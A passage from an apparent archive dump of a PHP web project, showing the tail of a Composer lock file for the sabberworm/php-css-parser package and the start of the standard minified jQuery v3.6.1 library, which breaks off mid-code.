            "time": "2024-08-30T18:03:42+00:00"
        },
        {
            "name": "sabberworm/php-css-parser",
            "version": "v8.7.0",
            "source": {
                "type": "git",
                "url": "https://github.com/MyIntervals/PHP-CSS-Parser.git",
                "reference": "f414ff953002a9b18e3a116f5e462c56f21237cf"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/MyIntervals/PHP-CSS-Parser/zipball/f414ff953002a9b18e3a116f5e462c56f21237cf",
                "reference": "f414ff953002a9b18e3a116f5e462c56f21237cf",
                "shasum": ""
            },
            "require": {
                "ext-iconv": "*",
                "php": "^5.6.20 || ^7.0.0 || ~8.0.0 || ~8.1.0 || ~8.2.0 || ~8.3.0 || ~8.4.0"
            },
            "require-dev": {
                "phpunit/phpunit": "5.7.27 || 6.5.14 || 7.5.20 || 8.5.40"
            },
            "suggest": {
                "ext-mbstring": "for parsing UTF-8 CSS"
            },
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-main": "9.0.x-dev"
                }
            },
            "autoload": {
                "psr-4": {
                    "Sabberworm\\CSS\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Raphael Schweikert"
                },
                {
                    "name": "Oliver Klee",
                    "email": "github@oliverklee.de"
                },
                {
                    "name": "Jake Hotson",
                    "email": "jake.github@qzdesign.co.uk"
                }
            ],
            "description": "Parser for CSS Files written in PHP",
            "homepage": "https://www.sabberworm.com/blog/2010/6/10/php-css-parser",
            "keywords": [
                "css",
                "parser",
                "stylesheet"
            ],
            "support": {
                "issues": "https://github.com/MyIntervals/PHP-CSS-Parser/issues",
                "source": "https://github.com/MyIntervals/PHP-CSS-Parser/tree/v8.7.0"
            },
            "time": "2024-10-27T17:38:32+00:00"
        }
    ],
    "packages-dev": [],
    "aliases": [],
    "minimum-stability": "stable",
    "stability-flags": [],
    "prefer-stable": false,
    "prefer-lowest": false,
    "platform": [],
    "platform-dev": [],
    "plugin-api-version": "2.3.0"
}
js/jquery.min.js000066600000257100151150443020007623 0ustar00/*! jQuery v3.6.1 | (c) OpenJS Foundation and other contributors | jquery.org/license */
!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),v={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.1",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||m(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)||(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i||S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==o.call(e))&&(!(t=r(e))||"function"==typeof(n=y.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t||[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:v}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,y,s,c,v,S="sizzle"+1*new Date,p=n.document,k=0,r=0,m=ue(),x=ue(),A=ue(),N=ue(),j=function(e,t){return e===t&&(l=!0),0},D={}.hasOwnProperty,t=[],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",I="(?:\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",W="\\["+M+"*("+I+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+I+"))|)"+M+"*\\]",F=":("+I+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+W+")*)|.*)\\)|)",$=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),_=new RegExp("^"+M+"*,"+M+"*"),z=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&v(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!y||!y.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ve(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace(B,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ye(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ve(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],y=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="<a id='"+S+"'></a><select id='"+S+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||y.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||y.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||y.push(".#.+[+~]"),e.querySelectorAll("\\\f"),y.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),y=y.length&&new RegExp(y.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),v=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&v(p,e)?-1:t==C||t.ownerDocument==p&&v(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!y||!y.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0<se(t,C,null,[e]).length},se.contains=function(e,t){return(e.ownerDocument||e)!=C&&T(e),v(e,t)},se.attr=function(e,t){(e.ownerDocument||e)!=C&&T(e);var n=b.attrHandle[t.toLowerCase()],r=n&&D.call(b.attrHandle,t.toLowerCase())?n(e,t,!E):void 0;return void 0!==r?r:d.attributes||!E?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},se.escape=function(e){return(e+"").replace(re,ie)},se.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},se.uniqueSort=function(e){var t,n=[],r=0,i=0;if(l=!d.detectDuplicates,u=!d.sortStable&&e.slice(0),e.sort(j),l){while(t=e[i++])t===e[i]&&(r=n.push(i));while(r--)e.splice(n[r],1)}return u=null,e},o=se.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else while(t=e[r++])n+=o(t);return n},(b=se.selectors={cacheLength:50,createPseudo:le,match:G,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1<t.indexOf(i):"$="===r?i&&t.slice(-i.length)===i:"~="===r?-1<(" "+t.replace($," ")+" ").indexOf(i):"|="===r&&(t===i||t.slice(0,i.length+1)===i+"-"))}},CHILD:function(h,e,t,g,y){var v="nth"!==h.slice(0,3),m="last"!==h.slice(-4),x="of-type"===e;return 1===g&&0===y?function(e){return!!e.parentNode}:function(e,t,n){var r,i,o,a,s,u,l=v!==m?"nextSibling":"previousSibling",c=e.parentNode,f=x&&e.nodeName.toLowerCase(),p=!n&&!x,d=!1;if(c){if(v){while(l){a=e;while(a=a[l])if(x?a.nodeName.toLowerCase()===f:1===a.nodeType)return!1;u=l="only"===h&&!u&&"nextSibling"}return!0}if(u=[m?c.firstChild:c.lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1])&&r[2],a=s&&c.childNodes[s];while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if(1===a.nodeType&&++d&&a===e){i[h]=[k,s,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]=[k,d]),a===e))break;return(d-=y)===g||d%g==0&&0<=d/g}}},PSEUDO:function(e,o){var t,a=b.pseudos[e]||b.setFilters[e.toLowerCase()]||se.error("unsupported pseudo: "+e);return a[S]?a(o):1<a.length?(t=[e,e,"",o],b.setFilters.hasOwnProperty(e.toLowerCase())?le(function(e,t){var n,r=a(e,o),i=r.length;while(i--)e[n=P(e,r[i])]=!(t[n]=r[i])}):function(e){return a(e,0,t)}):a}},pseudos:{not:le(function(e){var r=[],i=[],s=f(e.replace(B,"$1"));return s[S]?le(function(e,t,n,r){var i,o=s(e,null,r,[]),a=e.length;while(a--)(i=o[a])&&(e[a]=!(t[a]=i))}):function(e,t,n){return r[0]=e,s(r,null,n,i),r[0]=null,!i.pop()}}),has:le(function(t){return function(e){return 0<se(t,e).length}}),contains:le(function(t){return t=t.replace(te,ne),function(e){return-1<(e.textContent||o(e)).indexOf(t)}}),lang:le(function(n){return V.test(n||"")||se.error("unsupported lang: "+n),n=n.replace(te,ne).toLowerCase(),function(e){var t;do{if(t=E?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return(t=t.toLowerCase())===n||0===t.indexOf(n+"-")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=n.location&&n.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===a},focus:function(e){return e===C.activeElement&&(!C.hasFocus||C.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:ge(!1),disabled:ge(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return J.test(e.nodeName)},input:function(e){return Q.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:ye(function(){return[0]}),last:ye(function(e,t){return[t-1]}),eq:ye(function(e,t,n){return[n<0?n+t:n]}),even:ye(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:ye(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:ye(function(e,t,n){for(var r=n<0?n+t:t<n?t:n;0<=--r;)e.push(r);return e}),gt:ye(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=b.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})b.pseudos[e]=de(e);for(e in{submit:!0,reset:!0})b.pseudos[e]=he(e);function me(){}function xe(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function be(s,e,t){var u=e.dir,l=e.next,c=l||u,f=t&&"parentNode"===c,p=r++;return e.first?function(e,t,n){while(e=e[u])if(1===e.nodeType||f)return s(e,t,n);return!1}:function(e,t,n){var r,i,o,a=[k,p];if(n){while(e=e[u])if((1===e.nodeType||f)&&s(e,t,n))return!0}else while(e=e[u])if(1===e.nodeType||f)if(i=(o=e[S]||(e[S]={}))[e.uniqueID]||(o[e.uniqueID]={}),l&&l===e.nodeName.toLowerCase())e=e[u]||e;else{if((r=i[c])&&r[0]===k&&r[1]===p)return a[2]=r[2];if((i[c]=a)[2]=s(e,t,n))return!0}return!1}}function we(i){return 1<i.length?function(e,t,n){var r=i.length;while(r--)if(!i[r](e,t,n))return!1;return!0}:i[0]}function Te(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Ce(d,h,g,y,v,e){return y&&!y[S]&&(y=Ce(y)),v&&!v[S]&&(v=Ce(v,e)),le(function(e,t,n,r){var i,o,a,s=[],u=[],l=t.length,c=e||function(e,t,n){for(var r=0,i=t.length;r<i;r++)se(e,t[r],n);return n}(h||"*",n.nodeType?[n]:n,[]),f=!d||!e&&h?c:Te(c,s,d,n,r),p=g?v||(e?d:l||y)?[]:t:f;if(g&&g(f,p,n,r),y){i=Te(p,u),y(i,[],n,r),o=i.length;while(o--)(a=i[o])&&(p[u[o]]=!(f[u[o]]=a))}if(e){if(v||d){if(v){i=[],o=p.length;while(o--)(a=p[o])&&i.push(f[o]=a);v(null,p=[],i,r)}o=p.length;while(o--)(a=p[o])&&-1<(i=v?P(e,a):s[o])&&(e[i]=!(t[i]=a))}}else p=Te(p===t?p.splice(l,p.length):p),v?v(null,t,p,r):H.apply(t,p)})}function Ee(e){for(var i,t,n,r=e.length,o=b.relative[e[0].type],a=o||b.relative[" "],s=o?1:0,u=be(function(e){return e===i},a,!0),l=be(function(e){return-1<P(i,e)},a,!0),c=[function(e,t,n){var r=!o&&(n||t!==w)||((i=t).nodeType?u(e,t,n):l(e,t,n));return i=null,r}];s<r;s++)if(t=b.relative[e[s].type])c=[be(we(c),t)];else{if((t=b.filter[e[s].type].apply(null,e[s].matches))[S]){for(n=++s;n<r;n++)if(b.relative[e[n].type])break;return Ce(1<s&&we(c),1<s&&xe(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace(B,"$1"),t,s<n&&Ee(e.slice(s,n)),n<r&&Ee(e=e.slice(n)),n<r&&xe(e))}c.push(t)}return we(c)}return me.prototype=b.filters=b.pseudos,b.setFilters=new me,h=se.tokenize=function(e,t){var n,r,i,o,a,s,u,l=x[e+" "];if(l)return t?0:l.slice(0);a=e,s=[],u=b.preFilter;while(a){for(o in n&&!(r=_.exec(a))||(r&&(a=a.slice(r[0].length)||a),s.push(i=[])),n=!1,(r=z.exec(a))&&(n=r.shift(),i.push({value:n,type:r[0].replace(B," ")}),a=a.slice(n.length)),b.filter)!(r=G[o].exec(a))||u[o]&&!(r=u[o](r))||(n=r.shift(),i.push({value:n,type:o,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?se.error(e):x(e,s).slice(0)},f=se.compile=function(e,t){var n,y,v,m,x,r,i=[],o=[],a=A[e+" "];if(!a){t||(t=h(e)),n=t.length;while(n--)(a=Ee(t[n]))[S]?i.push(a):o.push(a);(a=A(e,(y=o,m=0<(v=i).length,x=0<y.length,r=function(e,t,n,r,i){var o,a,s,u=0,l="0",c=e&&[],f=[],p=w,d=e||x&&b.find.TAG("*",i),h=k+=null==p?1:Math.random()||.1,g=d.length;for(i&&(w=t==C||t||i);l!==g&&null!=(o=d[l]);l++){if(x&&o){a=0,t||o.ownerDocument==C||(T(o),n=!E);while(s=y[a++])if(s(o,t||C,n)){r.push(o);break}i&&(k=h)}m&&((o=!s&&o)&&u--,e&&c.push(o))}if(u+=l,m&&l!==u){a=0;while(s=v[a++])s(c,f,t,n);if(e){if(0<u)while(l--)c[l]||f[l]||(f[l]=q.call(r));f=Te(f)}H.apply(r,f),i&&!e&&0<f.length&&1<u+v.length&&se.uniqueSort(r)}return i&&(k=h,w=p),c},m?le(r):r))).selector=e}return a},g=se.select=function(e,t,n,r){var i,o,a,s,u,l="function"==typeof e&&e,c=!r&&h(e=l.selector||e);if(n=n||[],1===c.length){if(2<(o=c[0]=c[0].slice(0)).length&&"ID"===(a=o[0]).type&&9===t.nodeType&&E&&b.relative[o[1].type]){if(!(t=(b.find.ID(a.matches[0].replace(te,ne),t)||[])[0]))return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}i=G.needsContext.test(e)?0:o.length;while(i--){if(a=o[i],b.relative[s=a.type])break;if((u=b.find[s])&&(r=u(a.matches[0].replace(te,ne),ee.test(o[0].type)&&ve(t.parentNode)||t))){if(o.splice(i,1),!(e=r.length&&xe(o)))return H.apply(n,r),n;break}}}return(l||f(e,c))(r,t,!E,n,!t||ee.test(e)&&ve(t.parentNode)||t),n},d.sortStable=S.split("").sort(j).join("")===S,d.detectDuplicates=!!l,T(),d.sortDetached=ce(function(e){return 1&e.compareDocumentPosition(C.createElement("fieldset"))}),ce(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||fe("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),d.attributes&&ce(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||fe("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ce(function(e){return null==e.getAttribute("disabled")})||fe(R,function(e,t,n){var 